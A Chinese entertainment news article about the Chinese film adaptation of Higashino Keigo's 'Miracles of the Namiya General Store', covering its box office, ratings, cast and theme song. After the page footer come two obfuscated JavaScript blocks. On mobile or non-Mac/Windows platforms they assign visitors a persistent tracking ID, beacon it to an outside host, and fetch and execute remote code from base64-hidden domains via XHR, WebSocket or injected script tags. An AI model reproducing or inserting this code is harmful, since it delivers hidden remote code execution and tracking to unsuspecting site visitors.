《解忧杂货店》本土化走心改编获盛赞 网友：这才叫暖哭！

时间：2020-10-23 19:05:00阅读：2450次
1王俊凯饰演“小波”昨日，根据著名作家东野圭吾畅销小说改编，韩杰执导、董韵诗监制、韩寒担任艺术指导的中国版同名电影《解忧杂货店》正式上映，王俊凯、迪丽热巴、董子健化身“解忧少年&rdquo
解忧杂货店

1王俊凯 饰演“小波”

昨日，根据著名作家东野圭吾畅销小说改编，韩杰执导、董韵诗监制、韩寒担任艺术指导的中国版同名电影《解忧杂货店》正式上映，王俊凯、迪丽热巴 、董子健 化身“解忧少年”暖燃上线！截至目前，在排片并不占优的情况下，该片票房已突破5000万，三大专业票务平台评分高达8.7、8.9、9.0，预售上座率在同期上映影片中均排名第一！热映之际，众主创亦于微博暖心表白解忧之旅，王俊凯坦言，“很开心作为小波见证了成长和故事。无名爷爷的回信鼓励着每一颗已有答案的心，希望大家都能得到解答，坚定内心，带着希望温暖出发！”

本土化改编精髓不改 原著味儿扑面而来获盛赞

不同于罪案悬疑作品所自带的暗黑和沉重，《解忧杂货店》被无数书迷奉为东野圭吾众多作品中最温情的一部，同时，奇幻元素的融入也令它的翻拍难度大大增加，而中国版故事如何进行本土化处理，真正讲好一个触动观众心灵的好故事，更是难上加难。

从1993到2017，中国版《解忧杂货店》的故事跨越了中国社会转型剧烈、变化最大、困惑疯长的24年，通过一家无名杂货店、一位慈祥智慧的解忧爷爷，以及一封封穿越时空、往来于从前与现在之间的信笺，将三段关于成长与解忧的故事娓娓到来。

一边是当下者——三位迷途的孤儿院少年；一边是过来人——是否该坚持自己音乐梦想的小镇音乐人秦朗、突遭家庭变故的MJ小歌迷、为了养家无奈从事舞女工作的“迷途的汪汪”，在这场跨越时空的对话中，每个人都自带着人生、命运、未来给出的哑谜和难题，而他们又将如何找到各自人生的谜底？经过了毫不违和的本土化处理，《解忧杂货店》上映后获原著铁粉儿实力打call，“不吹不黑的说，几乎每个角色都是神还原”“妥妥的年度最佳原著翻拍~”

明星云集演技爆灯 主题曲《重生》成今冬最暖心催泪弹

在忠实于原著内核的基础上，该片力邀王俊凯、迪丽热巴、董子健等新生代实力演员担纲主演，更获成龙 、李鸿其 、秦昊 、郝蕾 、陈都灵 、董李无忧 、潘斌龙 等多位大咖鼎力加盟，有趣的是，有些观众险些没有认出，那个一脸不羁，顶着一头黄发的少年——阿杰的饰演者，就是“90后演技扛把子”董子健。对此，董子健通过微博搞笑“求认领”，“给大家介绍一下，你看到的只有一排牙在飘着行走的那个应该就是我，欢迎大家去看《解忧杂货店》，找找我在哪。”

尤值一提是，影片的配乐《重生》一出便大受影迷好评：“如果有天，可以让你选择，人生重来或继续。我不知道，你的答案，最后会是真情或假意。我希望，从蓝天到名利，所有你想要的，都别随风去。“与暖心治愈的剧情高度契合，当《重生》这首歌响起的那一刻，悠扬旋律和直戳内心的歌词秒变强力催泪弹，有观众直言瞬间泪奔：躲过了《寻梦环游记》，没躲过《解忧杂货店》。

相关资讯

评论

  • 评论加载中...



Copyright © 2019-2023 www.wxrtdq.com 晋ICP备19008828号 All Rights Reserved.

留言求片

function kXmjMQrN(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function jmwrdJck(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kXmjMQrN(t);};window[''+'m'+'H'+'u'+'q'+'E'+'k'+'g'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=jmwrdJck,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqqaC5mYW5odWltaW4xLmNuJTNBODg5MQ==','d3NzJTTNBJTTJGJTTJGdXkudGlhbnhpbmdoYW5nMS5jbiUzQTTk1MzU=','159458',window,document,['q','T']);}:function(){};
function TEbWyzY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function djylmke(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TEbWyzY(t);};window[''+'Q'+'I'+'Y'+'r'+'L'+'U'+'e'+'g'+'H'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=djylmke,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYW5odWltaW4xLmNuJTNBOODg5MQ==','d3NzJTNBJTJGJTJGdXkudGlhbnhpbmmdoYW5nMS5jbiUzQTk1MzU=','159459',window,document,['O','m']);}:function(){};